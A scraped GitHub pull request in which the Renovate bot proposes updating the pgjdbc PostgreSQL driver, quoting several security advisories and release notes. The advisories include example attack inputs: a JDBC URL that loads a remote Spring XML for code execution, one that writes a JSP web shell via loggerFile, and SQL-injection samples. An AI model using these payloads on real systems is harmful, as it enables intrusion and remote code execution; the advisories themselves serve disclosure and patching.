 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '

Skip to content
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY] - #62
Open
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Open
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 16, 2023•

edited

Loading

Copy link


Copy Markdown

ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
PackageChangeAgeConfidence
org.postgresql:postgresql (source)42.2.23 → 42.7.11ageconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
CVE-2022-21724 / GHSA-v7wg-cpwc-24m4
More information
Details
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Severity
  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc Arbitrary File Write Vulnerability
GHSA-673j-qm5f-xpv8
More information
Details
Overview
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
Impact
It is possible to specify an arbitrary filename in the loggerFileName connection parameter

"jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
Patches
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
Workarounds
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
Severity
Medium
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Path traversal in org.postgresql:postgresql
CVE-2022-26520 / GHSA-727h-hrw8-jg8q
More information
Details
In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.
Severity
Low
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names
CVE-2022-31197 / GHSA-r38f-c4h4-hqq2
More information
Details
Impact
What kind of vulnerability is it? Who is impacted?
The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ;, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.
User applications that do not invoke the ResultSet.refreshRow() method are not impacted.
User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.
For example:
CREATETABLErefresh_row_example (
id intPRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * "int
);
This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row, would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.
As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.
Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check that you are not using the ResultSet.refreshRow() method.
If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.
Severity
  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
TemporaryFolder on unix-like systems does not limit access to created files
CVE-2022-41946 / GHSA-562r-vg33-8x8h
More information
Details
Vulnerability
PreparedStatement.setText(int, InputStream)

and
PreparedStatemet.setBytea(int, InputStream)
will create a temporary file if the InputStream is larger than 51k
Example of vulnerable code:
Strings = "some very large string greater than 51200 bytes";
PreparedStatement.setInputStream(1, newByteArrayInputStream(s.getBytes()) );
This will create a temporary file which is readable by other users on Unix like systems, but not MacOS.
Impact

On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.
When analyzing the impact of this vulnerability, here are the important questions to ask:
Is the driver running in an environment where the OS has other untrusted users.

If yes, and you answered 'yes' to question 1, this vulnerability impacts you.

If no, this vulnerability does not impact you.

Patches

Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.
Java 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1

Java 1.7 users: this vulnerability is fixed in 42.2.27.jre7

Java 1.6 and lower users: no patch is available; you must use the workaround below.

Workarounds

If you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.
References
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Fix commit pgjdbc/pgjdbc@9008dc9

Similar Vulnerabilities

Google Guava - https://github.com/google/guava/issues/4011

Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945

JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824
Severity
  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
org.postgresql:postgresql vulnerable to SQL Injection via line comment generation
CVE-2024-1597 / GHSA-24rp-q3w6-vc56
More information
Details
Impact
SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.
There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.
Exploitation
To exploit this behavior the following conditions must be met:
  1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. -)
  2. There must be a second placeholder for a string value after the first placeholder on the same line.
  3. Both parameters must be user controlled.
The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a -- SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.
When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.
Example
PreparedStatementstmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSetrs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:
SELECT--1,'WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.
Patch
Problem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7
The patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:
SELECT-('-1'::int4), ('WHERE false --')
Workarounds
Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)
Severity
  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
CVE-2026-42198 / GHSA-98qh-xjc8-98pq
More information
Details
Summary
pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact
A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.

With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.

A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
  1. The connection uses SCRAM-SHA-256 authentication.
  2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
  3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
  • the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
  • the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
  • the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
  • the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
  • an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
  • an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches
The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
  1. Only connect to trusted PostgreSQL servers whose identity is verified.
    
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.
    
TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
  2. Do not rely on loginTimeout as a complete mitigation on unpatched versions.
    
On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
  3. Avoid SCRAM on untrusted or interceptable connection paths.
    
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
  4. Reduce blast radius operationally.
    
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
  5. On trusted servers you control, keep SCRAM iteration counts at ordinary values.
    
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pgjdbc/pgjdbc (org.postgresql:postgresql)
v42.7.11
Security
  • fix: Limit SCRAM PBKDF2 iterations accepted from the server.
    
pgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.
    
See the Security Advisory for more detail.
    
The following CVE-2026-42198 has been issued.
Added
  • feat: implement require_auth connection property, aligning with libpq behavior PR #​3895
Changed
  • chore: replace Appveyor CI with ikalnytskyi/action-setup-postgres PR #​3966
  • chore: upgrade Gradle to v9 PR #​3978
Fixed
  • fix: ensure extended protocol messages end with Sync message PR #​3728
  • fix: enable cursor-based fetching in extended protocol when transaction started via SQL command PR #​3996
  • fix: retry with SSL on IOException when sslMode=ALLOW PR #​3973
  • fix: make sure the driver honours connectTimeout when retrying the connection PR #​3968
  • fix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in PR #​3968
  • fix: catch SecurityException from setContextClassLoader on ForkJoinPool workers PR #​3962
  • fix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly PR #​3961
  • fix: release COPY lock on IOException to prevent connection hang PR #​3957
  • fix: return jsonb as PGObject instead of String PR #​3956
  • fix: align SSL key file permission check with libpq PR #​3952
  • fix: guard connection closed flag with a reentrant lock to protect against concurrent close PR #​3905
v42.7.10
Changed
  • chore: Migrate to Shadow 9 PR 3931
  • style: fix empty line before javadoc for checkstyle compliance PR #​3925
  • style: fix lambda argument indentation for checkstyle compliance PR #​3922
  • test: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs PR #​3917
Fixed
  • fix: non-standard strings failing test for version 19 PR #​3934
  • fix: small issues in ConnectionFactoryImpl PR #​3929
  • fix: process pending responses before fastpath to avoid protocol errors PR # 3913
  • doc: use.md, fix typos PR #​3911
  • doc: datasource.md, fix minor formatting issue PR #​3912
  • doc: add the new PGP signing key to the official documentation PR #​3912
Reverted
v42.7.9
Compare Source
Added
  • feat: query timeout property PR #​3705
  • feat: Add PEMKeyManager to handle PEM based certs and keys PR #​3700
Changed
  • perf: optimize PGInterval.getValue() by replacing String.format with StringBuilder
  • doc: update property quoteReturningIdentifiers default value PR #​3847
  • security: Use a static method forName to load all user supplied classes. Use the Class.forName 3 parameter method and do not initilize it unless it is a subclass of the expected class
Fixed
  • fix: incorrect pg_stat_replication.reply_time calculation PR #​3906
  • fix: close temporary lob descriptors that are used internally in PreparedStatement#setBlob
  • fix: PGXAConnection.prepare(Xid) should return XA_RDONLY if the connection is read only PR #​3897
  • fix: make all Calendar instances proleptic Gregorian PR #​3837
  • fix: Simplify concurrency guards on QueryExecutorBase#transaction and QueryExecutorBase#standardConformingStrings PR #​3897
  • fix: avoid memory leaks in Java <= 21 caused by Thread.inheritedAccessControlContext PR #​3886
  • fix: Issue #​3784 pgjdbc can't decode numeric arrays containing special numbers like NaN PR #​3838
  • fix: use ssl_is_used() to check for ssl connection PR #​3867
  • fix: the classloader is nullable PR #​3907
v42.7.8
Compare Source
Added
  • feat: Add configurable boolean-to-numeric conversion for ResultSet getters PR #​3796
Changed
  • perf: remove QUERY_ONESHOT flag when calling getMetaData PR #​3783
  • perf: use BufferedInputStream with FileInputStreamPR #​3750
  • perf: enable server-prepared statements for DatabaseMetaData
Fixed
  • fix: avoid NullPointerException when cancelling a query if cancel key is not known yet
  • fix: Change "PST" timezone in TimestampTest to "Pacific Standard Time" PR #​3774
  • fix: traverse the current dimension to get the correct pos in PgArray#calcRemainingDataLength PR #​3746
  • fix: make sure getImportedExportedKeys returns columns in consistent order
  • fix: Add "SELF_REFERENCING_COL_NAME" field to getTables' ResultSetMetaData to fix NullPointerException PR #​3660
  • fix: unable to open replication connection to servers < 12
  • fix: avoid closing statement caused by driver's internal ResultSet#close()
  • fix: return empty metadata for empty catalog names as it was before
  • fix: Incorrect class comparison in PGXmlFactoryFactory validation
v42.7.7
Security
  • security: Client Allows Fallback to Insecure Authentication Despite channelBinding=require configuration.
    
Fix channel binding required handling to reject non-SASL authentication
    
Previously, when channel binding was set to "require", the driver would silently ignore this
    
requirement for non-SASL authentication methods. This could lead to a false sense of security
    
when channel binding was explicitly requested but not actually enforced. The fix ensures that when
    
channel binding is set to "require", the driver will reject connections that use
    
non-SASL authentication methods or when SASL authentication has not completed properly.
    
See the Security Advisory for more detail. Reported by George MacKerron
    
The following CVE-2025-49146 has been issued
Added
  • test: Added ChannelBindingRequiredTest to verify proper behavior of channel binding settings
v42.7.6
Features
  • fix: Enhanced DatabaseMetadata.getIndexInfo() method, added index comment as REMARKS property PR #​3513
Performance Improvements
  • performance: Improve ResultSetMetadata.fetchFieldMetaData by using IN row values instead of UNION ALL for improved query performance (later reverted) PR #​3510
  • feat:Use a single simple query for all startup parameters, so groupStartupParameters is no longer needed PR #​3613
v42.7.5
Added
Fixed
  • regression: revert change in fc60537PR #​3476
  • fix: PgDatabaseMetaData implementation of catalog as param and return value PR #​3390
  • fix: Support default GSS credentials in the Java Postgres client PR #​3451
  • fix: return only the transactions accessible by the current_user in XAResource.recover PR #​3450
  • feat: don't force send extra_float_digits for PostgreSQL >= 12 fix Issue #​3432PR #​3446
  • fix: exclude "include columns" from the list of primary keys PR #​3434
  • perf: Enhance the meta query performance by specifying the oid. PR #​3427
  • feat: support getObject(int, byte[].class) for bytea PR #​3274
  • docs: document infinity and some minor edits PR #​3407
  • fix: Added way to check for major server version, fixed check for RULE PR #​3402
  • docs: fixed remaining paragraphs PR #​3398
  • docs: fixed paragraphs in javadoc comments PR #​3397
  • fix: Reuse buffers and reduce allocations in GSSInputStream addresses Issue #​3251PR #​3255
  • chore: Update Gradle to 8.10.2 PR #​3388
  • fix: getSchemas() PR #​3386
  • fix: Update rpm postgresql-jdbc.spec.tpl with scram-client PR #​3324
  • fix: Clearing thisRow and rowBuffer on close() of ResultSet Issue #​3383PR #​3384
  • fix: Package was renamed to maven-bundle-plugin PR #​3382
  • fix: As of version 18 the RULE privilege has been removed PR #​3378
  • fix: use buffered inputstream to create GSSInputStream PR #​3373
  • test: get rid of 8.4, 9.0 pg versions and use >= jdk version 17 PR #​3372
  • Changed docker-compose version and renamed script file in instructions to match the real file name PR #​3363
  • test:Do not assume "test" database in DatabaseMetaDataTransactionIsolationTest PR #​3364
  • try to categorize dependencies PR #​3362
v42.7.4
Added
  • chore: SCRAM dependency to 3.1 and support channel binding PR #​3188
  • chore: Add PostgreSQL 15, 16, and 17beta1 to CI tests PR #​3299
  • test: Update to 17beta3 PR #​3308
  • chore: Implement direct SSL ALPN connections PR #​3252
  • translation: Add Korean translation file PR #​3276
Fixed
  • fix: PgInterval ignores case for represented interval string PR #​3344
  • perf: Avoid extra copies when receiving int4 and int2 in PGStream PR #​3295
  • fix: Add support for Infinity::numeric values in ResultSet.getObject PR #​3304
  • fix: Ensure order of results for getDouble PR #​3301
  • perf: Replace BufferedOutputStream with unsynchronized PgBufferedOutputStream, allow configuring different Java and SO_SNDBUF buffer sizes PR #​3248
  • fix: Fix SSL tests PR #​3260
  • fix: Support bytea in preferQueryMode=simple PR #​3243
  • fix: Fix #​3234 - Return -1 as update count for stored procedure calls PR #​3235
  • fix: Fix #​3224 - conversion for TIME '24:00' to LocalTime breaks in binary-mode PR #​3225
  • perf: Speed up getDate by parsing bytes instead of String PR #​3141
  • fix: support PreparedStatement.setBlob(1, Blob) and PreparedStatement.setClob(1, Clob) for lobs that return -1 for length PR #​3136
  • fix: Validates resultset Params in PGStatement constructor. uses assertThro… PR #​3171
  • fix: Validates resultset parameters PR #​3167
  • docs: Replace greater to with greater than PR #​3315
  • docs: Clarify binaryTransfer and prepareThreshold PR #​3338
  • docs: use.md, typo PR #​3314
  • test: Use docker v2 which changes docker-compose to docker compose #​3339
  • refactor: Merge PgPreparedStatement#setBinaryStream int and long methods PR #​3165
  • test: Test both binaryMode=true,false when creating connections in DatabaseMetaDataTest PR #​3231
  • docs: Fixed typos in all source code and documentations PR #​3242
  • chore: Remove self-hosted runner PR #​3227
  • docs: Add cancelSignalTimeout in README PR #​3190
  • docs: Document READ_ONLY_MODE in README PR #​3175
  • test: Test for +/- infinity double values PR #​3294
  • test: Switch localhost and auth-test around for test-gss PR #​3343
  • fix: remove preDescribe from internalExecuteBatch PR #​2883
  • deps: Update dependency om.ongres.scram:scram-client to 3.2
Deprecated
  • test: Deprecate all PostgreSQL versions older than 9.1 PR #​3335
v42.7.3
Changed
Fixed
  • fix: boolean types not handled in SimpleQuery mode PR #​3146
    • make sure we handle boolean types in simple query mode
    • support uuid as well
    • handle all well known types in text mode and change else if to switch
  • fix: released new versions of 42.2.29, 42.3.10, 42.4.5, 42.5.6, 42.6.2 to deal with NoSuchMethodError on ByteBuffer#position when running on Java 8
v42.7.2
Security
  • security: SQL Injection via line comment generation, it is possible in SimpleQuery mode to generate a line comment by having a placeholder for a numeric with a -
    
such as -?. There must be second placeholder for a string immediately after. Setting the parameter to a -ve value creates a line comment.
    
This has been fixed in this version fixes CVE-2024-1597. Reported by Paul Gerste. See the security advisory for more details. This has been fixed in versions 42.7.2, 42.6.1 42.5.5, 42.4.4, 42.3.9, 42.2.28.jre7. See the security advisory for work arounds.
Changed
  • fix: Use simple query for isValid. Using Extended query sends two messages checkConnectionQuery was never ever set or used, removed PR #​3101
  • perf: Avoid autoboxing bind indexes by @​bokken in PR #​1244
  • refactor: Document that encodePassword will zero out the password array, and remove driver's default encodePassword by @​vlsi in PR #​3084
Added
  • feat: Add PasswordUtil for encrypting passwords client side PR #​3082
v42.7.1
Added
  • feat: invalidate the prepared-statement cache when the server reports a search_path change via GUC_REPORT (PostgreSQL 18+), so cached plans are no longer used against the wrong schema PR #​4259
  • feat: reWriteBatchedInserts now merges up to 32768 rows into one multi-values INSERT (bounded by the 65535 bind-parameter limit on the extended protocol) instead of capping at 128, which speeds up batches of few-column rows. The new reWriteBatchedInsertsSize connection property lowers that cap when set; the default of 0 uses that maximum. PR #​4207
  • feat: invalidate the prepared-statement cache after CREATE/DROP/ALTER so callers no longer trip on "cached plan must not change result type" without opting into autosave=ALWAYS. Controlled by the new flushCacheOnDdl connection property (default true); set to false for the prior behaviour. PR #​4067
  • feat: add connectExecutor connection property to customize the Executor used to run the worker task that performs the connection attempt when loginTimeout is in effect. The value is the fully qualified name of a class implementing java.util.concurrent.Executor. With a null value, the default, the driver retains the prior behavior of running the connection attempt on a daemon thread named "PostgreSQL JDBC driver connection thread". The executor must run the task on a thread other than the caller's. Running the attempt on a named thread lets applications that monitor driver-created threads identify it. PR #​4165
  • feat: add classLoaderStrategy connection property to control which classloaders the driver searches when loading a class named by a connection property, for example socketFactory. The default driver-first now falls back to the thread context classloader when the driver's classloader cannot resolve the class, which fixes class loading in non-flat class paths such as Quarkus and OSGi. Set driver to keep the previous driver-classloader-only behaviour, or context-first to prefer the thread context classloader Issue #​2112PR #​4167
  • feat: add OID constants for geometric arrays, RECORD, and refcursorPR #​4220
  • feat: LargeObjectBlobInputStream now skips by seeking instead of reading, and the driver exposes the server version so it can select the 64-bit large-object API where available PR #​4204
Changed
  • refactor: the worker that runs the connection attempt under loginTimeout is now a FutureTask (ConnectTask) instead of the hand-rolled ConnectThread. When the caller hits the timeout, the task is now cancelled with cancel(true), which interrupts the worker thread rather than letting it run to completion. This makes the connection attempt interruptible, so loginTimeout can stop a slow connection attempt instead of leaking a thread. As before, a connection that the worker still manages to establish after the caller gives up is closed by the worker so that it does not leak. There are no public API changes and this should only lead to faster background resource cleanup for connections that time out. PR #​4120
  • chore: PGXAConnection.ConnectionHandler now rejects setAutoCommit(false) and setSavepoint(...) during an active XA branch, in addition to the long-rejected setAutoCommit(true) / commit() / rollback(). The setSavepoint rejection was already meant to be in place but the guard misspelled the method name as setSavePoint, so savepoints silently went through. Both changes bring the proxy in line with JTA 1.2 §3.4. PR #​4114
  • chore: commitPrepared / rollback-of-prepared now return XAER_RMFAIL instead of XAER_RMERR when the underlying connection is left in a non-idle TransactionState. Transaction managers (Geronimo, Narayana, Atomikos) treat XAER_RMFAIL as retryable on a fresh XAResource; the prepared transaction is no longer abandoned. PR #​4114
  • refactor: derive getPrimaryKeys from pg_constraint.conkeyPR #​4202
Fixed
  • fix: the published GitHub release now ships the released postgresql-<version>.jar and its detached PGP signature, taken from the same signed build that is uploaded to Maven Central, instead of a leftover SNAPSHOT jar Issue #​3812PR #​3814
  • fix: simplify the Statement#cancel state machine by dropping the redundant CANCELLED state. killTimerTask now waits for the state to return to IDLE directly, which removes a spin-forever case when more than one thread observes the cancel completing PR #​1827.
  • perf: defer simple-query flushes until the driver reads the response, allowing BEGIN and the following query to share a network flush Issue #​3894PR #​4196
  • fix: reWriteBatchedInserts no longer throws IllegalArgumentException when batching a parameterless INSERT (for example INSERT INTO t VALUES (1, 2)) of 256 rows or more PR #​4207
  • fix: a comment before CALL in a CallableStatement no longer hides the native call, so OUT parameter registration works for /* comment */ call proc(?, ?) and similar. Parser.modifyJdbcCall now skips leading whitespace and SQL comments (both -- and /* */) before the call, tolerates a trailing comment after a { ... } escape, and no longer adds a spurious comma when moving an OUT parameter into a call whose arguments are only a comment Issue #​2538PR #​4209
  • fix: PreparedStatement.toString() no longer throws for a bytea value supplied as text via PGobject. Hex-format values (\x...) are validated and rendered as a bytea literal, and escape-format values are quoted and cast like any other literal Issue #​3757PR #​4201
  • fix: the driver no longer nulls the contextClassLoader of shared ForkJoinPool.commonPool() worker threads, which previously left unrelated tasks on those threads running with a null classloader Issue #​4155PR #​4156
  • fix: PgResultSet#getCharacterStream wraps String in a StringReaderPR #​4063
  • fix: PGXAConnection no longer saves and restores the underlying connection's JDBC autoCommit flag. All XA-protocol SQL (BEGIN, PREPARE TRANSACTION, COMMIT, ROLLBACK, COMMIT PREPARED, ROLLBACK PREPARED, the recover() SELECT) is sent through QUERY_SUPPRESS_BEGIN, so the caller's autoCommit value is invariant across every XAResource call. Fixes the "2nd phase commit must be issued using an idle connection" failure during recovery on managed datasources that pool connections with autoCommit=false (TomEE, WildFly, WebSphere Liberty) PR #​4114
  • fix: PGXAConnection.prepare() now mutates XA state only after PREPARE TRANSACTION succeeds. A failed PREPARE previously left the driver thinking the branch was already prepared, so the follow-up rollback(xid) tried ROLLBACK PREPARED against a non-existent gid and returned XAER_RMERR. Transaction managers (Narayana) escalated this to HeuristicMixedException. With the fix, rollback(xid) takes the active-branch path and issues a plain ROLLBACK, which the server accepts cleanly. Fixes Issue #​3153, Issue #​3123. PR #​4114
  • fix: an updatable result set over an unqualified table name is now classified using only the table visible through search_path. When two schemas held a table with the same name and the same primary or unique index name but a different set of key columns, the driver took the union of both schemas' columns, so the result set could be wrongly rejected as not updatable PR #​4214. Supersedes
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026
@renovate
renovateBot
deleted the

renovate/maven-org.postgresql-postgresql-vulnerability

branch
March 27, 2026 00:45
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
c29cb62 to
aa15a13CompareMarch 30, 2026 18:01
@renovaterenovateBot
changed the title
